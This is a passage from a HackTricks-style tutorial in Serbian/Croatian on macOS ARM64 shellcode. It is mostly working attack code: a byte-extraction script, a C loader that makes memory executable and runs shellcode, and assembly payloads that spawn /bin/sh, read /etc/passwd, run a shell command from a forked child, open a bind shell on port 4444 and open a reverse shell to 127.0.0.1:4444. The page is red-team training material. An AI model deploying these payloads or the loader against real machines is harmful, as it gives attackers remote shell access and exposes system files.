# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C kod za testiranje shellcode-a
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Preuzeto sa ovde i objašnjeno.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Čitaj sa cat

Cilj je izvršiti execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Pozovite komandu sa sh iz fork-a tako da glavni proces ne bude ubijen

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell sa https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na portu 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Obrnuta ljuska

Sa https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell na 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks